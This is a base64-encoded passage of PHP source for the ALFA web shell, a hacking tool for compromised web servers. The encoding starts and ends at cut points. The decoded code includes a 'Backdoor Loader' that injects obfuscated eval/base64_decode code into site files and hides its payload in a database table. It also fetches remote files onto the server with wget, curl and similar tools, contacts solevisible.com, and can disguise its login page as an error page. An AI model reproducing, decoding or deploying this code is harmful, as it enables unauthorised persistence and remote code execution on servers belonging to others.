l9uYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX25hbWUnLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCid0ZDUnID0+DQphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnQmFja2Rvb3IgTG9hZGVyOiAnLCAnaW5wdXROYW1lJyA9PiAnZmlsZScsICdpbnB1dFZhbHVlJyA9PiAkY3dkLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAncGxhY2Vob2xkZXInID0+IHRydWUpLA0KJ3RkNicgPT4NCmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdLZXk6ICcsICdpbnB1dE5hbWUnID0+ICdrZXknLCAnaW5wdXRWYWx1ZScgPT4gJ2FsZmEnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobygiPHA+eyRzZWxlY3R9PC9wPiIpOw0KZWNobygkdGV4dGFyZWEpOw0KZWNobygiPHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvcD48L2Zvcm0+PC9wPjwvY2VudGVyPiIpOw0KaWYoJF9QT1NUWydhbGZhMiddIT0nJyYmJF9QT1NUWydhbGZhMyddIT0nJyYmJF9QT1NUWydhbGZhNSddIT0nJyYmJF9QT1NUWydhbGZhNiddIT0nJyl7DQokZGJob3N0ID0gJF9QT1NUWydhbGZhMiddOw0KJGRidXNlciA9ICRfUE9TVFsnYWxmYTMnXTsNCiRkYnB3ID0gJF9QT1NUWydhbGZhNCddOw0KJGRibmFtZSA9ICRfUE9TVFsnYWxmYTUnXTsNCiRmaWxlID0gJF9QT1NUWydhbGZhNiddOw0KJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTcnXTsNCiRzaGVsbCA9ICRfUE9TVFsnYWxmYTgnXTsNCiRrZXkgPSBzdHJfcmVwbGFjZShhcnJheSgnIicsJ1wnJyksJycsdHJpbSgkX1BPU1RbJ2FsZmE5J10pKTsNCmlmKCRrZXk9PScnKSRrZXk9J2FsZmEnOw0KaWYoJG1ldGhvZD09J215Jyl7JHNoZWxsPV9fWlc1amIyUmxjZygkc2hlbGwpO31lbHNleyRzaGVsbD0kR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXTt9DQppZigkY29ubiA9IG15c3FsaV9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwdywkZGJuYW1lKSl7DQokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiYWxmYSJdKSYmJF9HRVRbImFsZmEiXT09IicuJGtleS4nIil7JGNvbm49bXlzcWxpX2Nvbm5lY3QoIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRiaG9zdCkuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRidXNlcikuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRicHcpLiciLCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYm5hbWUpLiciKTskcT1teXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCBgY29kZWAgRlJPTSBhbGZhX2JjIExJTUlUIDAsMSIpOyRyPW15c3FsaV9mZXRjaF9hc3NvYygkcSk7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4nOw0KaWYoQGlzX2ZpbGUoJGZpbGUpJiZAaXNfd3JpdGFibGUoJGZpbGUpKXsNCkBteXNxbGlfcXVlcnkoJGNvbm4sJ0RST1AgVEFCTEUgYGFsZmFfYmNgJyk7DQpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdDUkVBVEUgVEFCTEUgYGFsZmFfYmNgIChjb2RlIExPTkdURVhUKScpOw0KQG15c3FsaV9xdWVyeSgkY29ubiwnSU5TRVJUIElOVE8gYGFsZmFfYmNgIFZBTFVFUygiJy4kc2hlbGwuJyIpJyk7DQpAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJGNvZGUuIlxuIi5AZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsNCl9fYWxlcnQoJHN1Y2Nlc3MuIjxicj5SdW4gV2l0aDogIi5iYXNlbmFtZSgkZmlsZSkuIj9hbGZhPSIuJGtleS4nPC9mb250PicpO31lbHNle19fYWxlcnQoJGVycm9yKTt9fX19DQplY2hvKCc8L2Rpdj4nKTsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmF3aG9pcygpew0KZWNobygiPGRpdiBjbGFzcz0naGVhZGVyJz48Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFdob2lzIHw8L2Rpdj48L3A+PHA+PGZvcm0gb25zdWJtaXQ9XCJnKCd3aG9pcycsbnVsbCx0aGlzLnVybC52YWx1ZSwnPj4nKTtyZXR1cm4gZmFsc2U7XCI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+VXJsOiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3VybCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgc2l6ZT0nNTAnIHBsYWNlaG9sZGVyPSdnb29nbGUuY29tJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3A+PC9jZW50ZXI+Iik7DQppZigkX1BPU1RbJ2FsZmEyJ109PSc+PicmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsNCiRzaXRlID0gc3RyX3JlcGxhY2UoYXJyYXkoJ2h0dHA6Ly8nLCdodHRwczovLycsJ3d3dy4nLCdmdHA6Ly8nKSwnJywkX1BPU1RbJ2FsZmExJ10pOw0KJHRhcmdldCA9ICdodHRwOi8vYXBpLndob2FwaS5jb20vP2FwaWtleT0wOTNiNmNiOWU2ZWE3MjRlMTAxOTI4NjQ3ZGYzZTAwOSZyPXdob2lzJmRvbWFpbj0nLiRzaXRlOw0KJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7DQppZigkZGF0YT09JycpeyRnZXQgPSBuZXcgQWxmYUNVUkwoKTskZ2V0LT5zc2wgPSB0cnVlOyRkYXRhID0gJGdldC0+U2VuZCgkdGFyZ2V0KTt9DQokdGFyZ2V0ID0gQGpzb25fZGVjb2RlKCRkYXRhLHRydWUpOw0KZWNobyBfX3ByZSgpOw0KaWYoaXNfYXJyYXkoJHRhcmdldCkpe2VjaG8oJHRhcmdldFsid2hvaXNfcmF3Il0pO31lbHNle2VjaG8gYWxmYUV4KCJ3aG9pcyAiLiRzaXRlKTt9fQ0KZWNobygiPC9kaXY+Iik7DQp9DQpmdW5jdGlvbiBhbGZhcmVtb3RlZGwoKXsNCmFsZmFoZWFkKCk7DQplY2hvKCI8ZGl2IGNsYXNzPSdoZWFkZXInPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgVXBsb2FkIEZyb20gVXJsIHw8L2Rpdj48L3A+PHA+DQo8Zm9ybSBvbnN1Ym1pdD1cImcoJ3JlbW90ZWRsJyxudWxsLHRoaXMuZC52YWx1ZSx0aGlzLnAudmFsdWUsJz4+Jyk7cmV0dXJuIGZhbHNlO1wiPg0KPHA+PGRpdiBjbGFzcz0ndHh0Zm9udCc+VXJsOiA8L2Rpdj4mbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNTAnPjwvcD4NCjxkaXYgY2xhc3M9J3R4dGZvbnQnPlBhdGg6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwJyBzaXplPSc1MCcgdmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+DQo8L2Zvcm0+PC9wPjwvY2VudGVyPiIpOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddLCRfUE9TVFsnYWxmYTInXSwkX1BPU1RbJ2FsZmEzJ10pJiYhZW1wdHkoJF9QT1NUWydhbGZhMSddKSYmJF9QT1NUWydhbGZhMyddPT0nPj4nKXsNCmVjaG8gX19wcmUoKTsNCiR1cmwgPSAkX1BPU1RbJ2FsZmExJ107DQokcGF0aCA9ICRfUE9TVFsnYWxmYTInXTsNCmVjaG8oJzxjZW50ZXI+Jyk7DQppZihfX2Rvd25sb2FkKCR1cmwsJHBhdGgpKXsNCmVjaG8oJzxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiE8L2ZvbnQ+Jyk7DQp9ZWxzZXsNCmVjaG8oJzxmb250IGNvbG9yPSJyZWQiPkVycm9yLi4uITwvZm9udD4nKTsNCn0NCmVjaG8oJzwvY2VudGVyPicpOw0KfQ0KZWNobygiPC9kaXY+Iik7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBfX2Rvd25sb2FkKCR1cmwsJHBhdGg9ZmFsc2Upew0KaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsNCiRzYXZlYXMgPSBiYXNlbmFtZShyYXd1cmxkZWNvZGUoJHVybCkpOw0KaWYoJHBhdGgpeyRzYXZlYXM9JHBhdGguJHNhdmVhczt9DQppZigkY29udGVudCA9IF9fcmVhZF9maWxlKCR1cmwpKXsNCmlmKEBpc19maWxlKCRzYXZlYXMpKUB1bmxpbmsoJHNhdmVhcyk7DQppZihfX3dyaXRlX2ZpbGUoJHNhdmVhcywgJGNvbnRlbnQpKXtyZXR1cm4gdHJ1ZTt9fQ0KJGJ1ZmYgPSBhbGZhRXgoIndnZXQgIi4kdXJsLiIgLU8gIi4kc2F2ZWFzKTsNCmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsNCiRidWZmID0gYWxmYUV4KCJjdXJsICIuJHVybC4iIC1vICIuJHNhdmVhcyk7DQppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7DQokYnVmZiA9IGFsZmFFeCgibHdwLWRvd25sb2FkICIuJHVybC4iICIuJHNhdmVhcyk7DQppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7DQokYnVmZiA9IGFsZmFFeCgibHlueCAtc291cmNlICIuJHVybC4iID4gIi4kc2F2ZWFzKTsNCmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsNCiRidWZmID0gYWxmYUV4KCJHRVQgIi4kdXJsLiIgPiAiLiRzYXZlYXMpOw0KaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOw0KJGJ1ZmYgPSBhbGZhRXgoImxpbmtzIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRzYXZlYXMpOw0KaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOw0KJGJ1ZmYgPSBhbGZhRXgoImZldGNoIC1vICIuJHNhdmVhcy4iIC1wICIuJHVybCk7DQppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBjbGVhbl9zdHJpbmcoJHN0cmluZyl7DQogIGlmKGZ1bmN0aW9uX2V4aXN0cygiaWNvbnYiKSl7DQoJICAkcyA9IHRyaW0oJHN0cmluZyk7DQoJICAkcyA9IGljb252KCJVVEYtOCIsICJVVEYtOC8vSUdOT1JFIiwgJHMpOw0KICB9DQogIHJldHVybiAkczsNCn0NCmZ1bmN0aW9uIF9fcmVhZF9maWxlKCRmaWxlLCAkYm9vbSA9IHRydWUpew0KJGNvbnRlbnQgPSBmYWxzZTsNCmlmKCRmaCA9IEBmb3BlbigkZmlsZSwgInJiIikpew0KJGNvbnRlbnQgPSAiIjsNCndoaWxlKCFmZW9mKCRmaCkpew0KJGNvbnRlbnQgLj0gJGJvb20gPyBjbGVhbl9zdHJpbmcoZnJlYWQoJGZoLCA4MTkyKSkgOiBmcmVhZCgkZmgsIDgxOTIpOw0KfQ0KQGZjbG9zZSgkZmgpOw0KfQ0KaWYoZW1wdHkoJGNvbnRlbnQpfHwhJGNvbnRlbnQpew0KCSRjb250ZW50ID0gYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKTsNCn0NCnJldHVybiAkY29udGVudDsNCn0NCmZ1bmN0aW9uIGFsZmFNYXJrZXQoKXsNCmVjaG8gIjxkaXYgY2xhc3M9J2hlYWRlcic+IjsNCiRjdXJsID0gbmV3IEFsZmFDVVJMKCk7DQokY29udGVudCA9ICRjdXJsLT5TZW5kKCJodHRwOi8vc29sZXZpc2libGUuY29tL21hcmtldC5waHAiKTsNCiRkYXRhID0gQGpzb25fZGVjb2RlKCRjb250ZW50LCB0cnVlKTsNCmlmKCFlbXB0eSgkZGF0YSkpew0KaWYoJGRhdGFbInN0YXR1cyJdID09ICJvcGVuIil7DQoJZWNobyAkZGF0YVsiY29udGVudCJdOw0KfWVsc2V7DQoJZWNobyAkZGF0YVsiZXJyb3JfbXNnIl07DQp9DQp9ZWxzZXsNCgllY2hvICI8ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MjBweDsnPkNhbnQgY29ubmVjdCB0byB0aGUgYWxmYSBtYXJrZXQuLi4uISB0cnkgbGF0ZXIuPC9kaXY+IjsNCn0NCmVjaG8gIjwvZGl2PiI7DQp9DQpmdW5jdGlvbiBhbGZhU2V0dGluZ3MoKXsNCmFsZmFoZWFkKCk7DQpBbGZhTnVtKDYsNyw4LDksMTApOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBTZXR0aW5ncyB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2V0dGluZ3NcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCdtYWluXCcpIj58IEdlbmVyYWxsIFNldHRpbmcgfCA8L2E+PC9oMz48L2NlbnRlcj4nOw0KaWYoJF9QT1NUWyJhbGZhOCJdID09ICJtYWluIil7DQplY2hvICc8cD48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNldHRpbmdzIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9InJlbG9hZFNldHRpbmcodGhpcyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPic7DQokbGdfYXJyYXkgPSBhcnJheSgnMCc9PidObycsJzEnPT4nWWVzJyk7DQokcGVuY19hcnJheSA9IGFycmF5KCdmYWxzZSc9PidObycsJ3RydWUnPT4nWWVzJyk7DQokcHJvdGVjdF9odG1sID0gIiI7DQokaWNvbl9odG1sID0gIiI7DQokcG9zdEVuY19odG1sID0gIiI7DQokbG9naW5faHRtbCA9ICIiOw0KJGNnaWFwaV9odG1sID0gIiI7DQpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRwcm90ZWN0X2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddPT0nMSc/J3NlbGVjdGVkJzonJykuJz4nLiR2YWwuJzwvb3B0aW9uPic7DQpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRpY29uX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ109PScxJz8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbC4nPC9vcHRpb24+JzsNCmZvcmVhY2goJHBlbmNfYXJyYXkgYXMgJGtleT0+JHZhbCkkY2dpYXBpX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLighZW1wdHkoJF9QT1NUWydhbGZhOSddKSYmJF9QT1NUWydhbGZhOSddPT0ka2V5PyJzZWxlY3RlZCI6KCRHTE9CQUxTWyJEQl9OQU1FIl1bImNnaV9hcGkiXSYmZW1wdHkoJF9QT1NUWydhbGZhOSddKT8nc2VsZWN0ZWQnOicnKSkuJz4nLiR2YWwuJzwvb3B0aW9uPic7DQpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJHBvc3RFbmNfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCFlbXB0eSgkX1BPU1RbJ2FsZmE3J10pJiYkX1BPU1RbJ2FsZmE3J109PSRrZXk/InNlbGVjdGVkIjooX19BTEZBX1BPU1RfRU5DUllQVElPTl9fJiZlbXB0eSgkX1BPU1RbJ2FsZmE3J10pPydzZWxlY3RlZCc6JycpKS4nPicuJHZhbC4nPC9vcHRpb24+JzsNCiRsZ19hcnJheSA9IGFycmF5KCJndWkiPT4iR1VJIiwiNTAwIj0+IjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3IiLCI0MDMiPT4iNDAzIEZvcmJpZGRlbiIsIjQwNCI9PiI0MDQgTm90Rm91bmQiKTsNCmZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJGxvZ2luX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ109PSRrZXk/J3NlbGVjdGVkJzonJykuJz4nLiR2YWwuJzwvb3B0aW9uPic7DQplY2hvICcnOw0KZWNobyAnPHRhYmxlIGJvcmRlcj0iMSI+PHRib2R5Pjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+UHJvdGVjdDo8L2Rpdj48L3RkPjx0ZD48c2VsZWN0IG5hbWU9InByb3RlY3QiIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kcHJvdGVjdF9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5DZ2kgQXBpOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0iY2dpX2FwaSIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRjZ2lhcGlfaHRtbC4nPC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+UG9zdCBFbmNyeXB0aW9uOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0icG9zdF9lbmNyeXB0IiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJHBvc3RFbmNfaHRtbC4nPC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+U2hvdyBJY29uczo8L2Rpdj48L3RkPjx0ZD48c2VsZWN0IG5hbWU9Imljb24iIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kaWNvbl9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0cj48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0iY29sb3I6I0ZGRkZGRiI+bG9naW4gUGFnZTo8L2Rpdj48L3RkPjx0ZD48c2VsZWN0IHN0eWxlPSJ3aWR0aDoxMDAlOyIgbmFtZT0ibGdwYWdlIj4nLiRsb2dpbl9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Vc2VyTmFtZTo8L2Rpdj48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjk1JTsiIG5hbWU9InVzZXJuYW1lIiB2YWx1ZT0iJy4oZW1wdHkoJF9QT1NUWydhbGZhMyddKT8kR0xPQkFMU1snREJfTkFNRSddWyd1c2VyJ106JF9QT1NUWydhbGZhMyddKS4nIiBwbGFjZWhvbGRlcj0ic29sZXZpc2libGUiPjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlBhc3N3b3JkOjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6OTUlOyIgbmFtZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSIqKioqKiI+PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJlIiB2YWx1ZT0iJy4kR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddLiciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InMiIHZhbHVlPSInLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXS4nIj48cD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L3A+PC9mb3JtPjwvY2VudGVyPic7DQppZigkX1BPU1RbJ2FsZmE1J109PSc+Picpew0KZWNobyBfX3ByZSgpOw0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkpew0KJHByb3RlY3QgPSAkX1BPU1RbJ2FsZmExJ107DQokbGdwYWdlID0gJF9QT1NUWydhbGZhMiddOw0KJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhMyddOw0KJHBhc3N3b3JkID0gbWQ1KCRfUE9TVFsnYWxmYTQnXSk7DQokaWNvbiA9ICRfUE9TVFsnYWxmYTYnXTsNCiRwb3N0X2VuY3J5cHQgPSAkX1BPU1RbJ2FsZmE3J107DQokY2dpX2FwaV92YWwgPSAkX1BPU1RbJ2FsZmE5J107DQpAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10pOw0KJGJhc2VuYW1lID0gQGJhc2VuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKTsNCiRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlbmFtZSk7DQokdXNlcl9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsidXNlcl9yYW5kIl07DQokcGFzc19yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsicGFzc19yYW5kIl07DQokbG9naW5fcGFnZV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsibG9naW5fcGFnZV9yYW5kIl07DQokc2FmZW1vZGVfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInNhZmVtb2RlX3JhbmQiXTsNCiRzaG93X2ljb25zX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJzaG93X2ljb25zX3JhbmQiXTsNCiRwb3N0X2VuY3J5cHRpb25fcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbl9yYW5kIl07DQokY2dpX2FwaV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaV9yYW5kIl07DQokZmluZF91c2VyID0gJy9cJycuJHVzZXJfcmFuZC4nXCcoLio/KSwvaSc7DQokZmluZF9wdyA9ICcvXCcnLiRwYXNzX3JhbmQuJ1wnKC4qPyksL2knOw0KJGZpbmRfbGcgPSAnL1wnJy4kbG9naW5fcGFnZV9yYW5kLidcJyguKj8pLC9pJzsNCiRmaW5kX3AgPSAnL1wnJy4kc2FmZW1vZGVfcmFuZC4nXCcoLio/KSwvaSc7DQokaWNvbnMgPSAnL1wnJy4kc2hvd19pY29uc19yYW5kLidcJyguKj8pLC9pJzsNCiRwb3N0RW5jID0gJy9cJycuJHBvc3RfZW5jcnlwdGlvbl9yYW5kLidcJyguKj8pLC9pJzsNCiRjZ2lfYXBpX3JlZyA9ICcvXCcnLiRjZ2lfYXBpX3JhbmQuJ1wnKC4qPyksL2knOw0KaWYoIWVtcHR5KCR1c2VybmFtZSkmJnByZWdfbWF0Y2goJGZpbmRfdXNlciwkZGF0YSwkZSkpew0KJG5ldyA9ICdcJycuJHVzZXJfcmFuZC4nXCcgPT4gXCcnLiR1c2VybmFtZS4nXCcsJzsNCiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7DQp9DQppZighZW1wdHkoJF9QT1NUWydhbGZhNCddKSYmcHJlZ19tYXRjaCgkZmluZF9wdywkZGF0YSwkZSkpew0KJG5ldyA9ICdcJycuJHBhc3NfcmFuZC4nXCcgPT4gXCcnLiRwYXNzd29yZC4nXCcsJzsNCiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7DQp9DQppZighZW1wdHkoJGxncGFnZSkmJnByZWdfbWF0Y2goJGZpbmRfbGcsJGRhdGEsJGUpKXsNCiRuZXcgPSAnXCcnLiRsb2dpbl9wYWdlX3JhbmQuJ1wnID0+IFwnJy4kbGdwYWdlLidcJywnOw0KJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsNCn0NCmlmKCFlbXB0eSgkZmluZF9wKSYmcHJlZ19tYXRjaCgkZmluZF9wLCRkYXRhLCRlKSl7DQokbmV3ID0gJ1wnJy4kc2FmZW1vZGVfcmFuZC4nXCcgPT4gXCcnLiRwcm90ZWN0LidcJywnOw0KJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsNCn0NCmlmKHByZWdfbWF0Y2goJGljb25zLCRkYXRhLCRlKSl7DQokbmV3ID0gJ1wnJy4kc2hvd19pY29uc19yYW5kLidcJyA9PiBcJycuJGljb24uJ1wnLCc7DQokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOw0KfQ0KaWYocHJlZ19tYXRjaCgkcG9zdEVuYywkZGF0YSwkZSkpew0KJG5ldyA9ICdcJycuJHBvc3RfZW5jcnlwdGlvbl9yYW5kLidcJyA9PiAnLiRwb3N0X2VuY3J5cHQuJywnOw0KJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsNCn0NCmlmKHByZWdfbWF0Y2goJGNnaV9hcGlfcmVnLCRkYXRhLCRlKSl7DQokbmV3ID0gJ1wnJy4kY2dpX2FwaV9yYW5kLidcJyA9PiAnLiRjZ2lfYXBpX3ZhbC4nLCc7DQokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOw0KfQ0KaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRiYXNlbmFtZSwkZGF0YSkpew0KZWNobyAnPGI+VXNlck5hbWU6IDwvYj48Zm9udCBjb2xvcj0iZ3JlZW4iPjxiPicuJHVzZXJuYW1lLic8L2I+PC9mb250PjxiciAvPjxiPlBhc3N3b3JkOiA8L2I+PGZvbnQgY29sb3I9ImdyZWVuIj48Yj4nLiRfUE9TVFsnYWxmYTQnXS4nPC9iPjwvZm9udD48c2NyaXB0PnBvc3RfZW5jcnlwdGlvbl9tb2RlID0gJy4kcG9zdF9lbmNyeXB0Lic7PC9zY3JpcHQ+JzsNCn1lbHNlew0KX19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPkZpbGUgaGFzIG5vIGVkaXQgYWNjZXNzLi4uITwvc3Bhbj4iKTsNCn0NCn1lbHNlew0KX19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPlVzZXJOYW1lIGlzIEVtcHR5ICE8L3NwYW4+Iik7DQp9DQp9DQp9ZWxzZWlmKCRfUE9TVFsiYWxmYTgiXSA9PSAiY29sb3IiKXsNCmVjaG8oJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ3VzdG9tIENvbG9yIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9InJlbG9hZENvbG9ycygpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4nKTsNCmVjaG8gJzx0YWJsZSBib3JkZXI9IjEiPjx0Ym9keT4nOw0KJHRlbXBsYXRlID0gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGEgaHJlZj0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9jdXN0b21jb2xvcnMve2hlbHB9LnBuZyIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IGNvbG9yPSIjMDBGRjAwIj5IZWxwPC9mb250PjwvYT48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48ZGl2IGNsYXNzPSJ0Ymx0eHQiPntpbmRleH08L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJtYXJnaW4tbGVmdDo1cHg7Ij57dGFyZ2V0fTo8L2Rpdj48L3R